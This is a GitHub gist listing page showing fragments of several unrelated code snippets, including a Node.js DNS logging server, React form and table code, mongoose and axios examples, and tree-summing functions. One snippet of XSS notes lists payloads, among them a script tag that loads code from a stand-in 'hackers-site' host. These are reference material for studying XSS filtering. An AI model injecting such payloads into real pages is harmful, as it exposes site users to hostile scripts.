Skip to content

Instantly share code, notes, and snippets.

@JaosnHsieh
JaosnHsieh / firedns.js
Created May 27, 2018 11:40 — forked from vikrum/firedns.js
A custom DNS server in NodeJS that saves off queries to Firebase so they can be retrieved later. Accompanying blog post: http://5f5.org/ruminations/dns-debugging-over-http.html
var crypto = require('crypto');
var dns = require('native-dns');
var rest = require('restler');
var server = dns.createServer();
server.on('request', function (request, response) {
var domain = request.question[0].name;
if(domain == 'webutils.flourishworks.com') {
// Don't log this because it can't be uniquely identified and subsequently retrieved
// Theory
// http://htmlpurifier.org/live/smoketests/xssAttacks.php
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
// A full collection of HTML5 related XSS attack vectors:
// https://github.com/cure53/H5SC https://raw.githubusercontent.com/cure53/H5SC/master/vectors.txt
// Short list
<script>alert("XSS: script tag")</script>
<script src="http://hackers-site.powertofly.com"></script>
@JaosnHsieh
JaosnHsieh / Redux-Form-Semantic-UI-React
Created July 31, 2018 09:38 — forked from mairh/Redux-Form-Semantic-UI-React
Semantic-UI-React form validation using redux-form example
// semantic-ui-form.js
import React from 'react';
import PropTypes from 'prop-types';
import { Form, Input } from 'semantic-ui-react';
export default function semanticFormField ({ input, type, label, placeholder, meta: { touched, error, warning }, as: As = Input, ...props }) {
function handleChange (e, { value }) {
return input.onChange(value);
}
@JaosnHsieh
JaosnHsieh / enum-access.js
Created August 23, 2018 14:45 — forked from bnoguchi/enum-access.js
How to access enumValues in mongoose from a Model or Document
var mongoose = require('./index')
, TempSchema = new mongoose.Schema({
salutation: {type: String, enum: ['Mr.', 'Mrs.', 'Ms.']}
});
var Temp = mongoose.model('Temp', TempSchema);
console.log(Temp.schema.path('salutation').enumValues);
var temp = new Temp();
console.log(temp.schema.path('salutation').enumValues);
@JaosnHsieh
JaosnHsieh / sumTreeFromLeafNodes.js
Last active August 29, 2018 14:56
A silly way to get values from leaf bottom up. https://codepen.io/jasonhsieh/pen/PdGxGR?editors=0012
var tree = [
{
label: "a",
children: [
{
label: "a-2-1",
children: [
{
label: "a-3-1",
value: 3
@JaosnHsieh
JaosnHsieh / sumLeafNodesValues.js
Created August 29, 2018 23:39
Recursive sum leaf nodes values bottom up to parrent node.
var dumpHead = {
label: "root",
value: 0,
children: [
{
label: "a",
value: 0,
children: [
{
label: "a-2-1",
@JaosnHsieh
JaosnHsieh / axios-catch-error.js
Created September 10, 2018 08:58 — forked from fgilio/axios-catch-error.js
Catch request errors with Axios
axios.put(this.apiBaseEndpoint + '/' + id, input)
.then((response) => {
// Success
})
.catch((error) => {
// Error
if (error.response) {
// The request was made and the server responded with a status code
// that falls out of the range of 2xx
// console.log(error.response.data);
// from https://stackoverflow.com/a/28181877/6414615
html
/**
<canvas id="myChart" width="400" height="400"></canvas>
**/
javascript
/**
const nock = require("nock");
const axios = require("axios");
var scope = nock("http://www.example.com")
.get("/resource")
.reply(200, "domain matched");
axios.get("http://www.example.com/resource").then(body => {
console.log("1.--------------mocking response");
console.log("body.status", body.status);
@JaosnHsieh
JaosnHsieh / griddle-custom.js
Created October 14, 2018 04:05
griddle reactjs table
import React, { Component } from "react";
import logo from "./logo.svg";
import "./App.css";
// import faker from "faker";
import Griddle, {
plugins,
RowDefinition,
ColumnDefinition
} from "griddle-react";
// import Table from "./Table";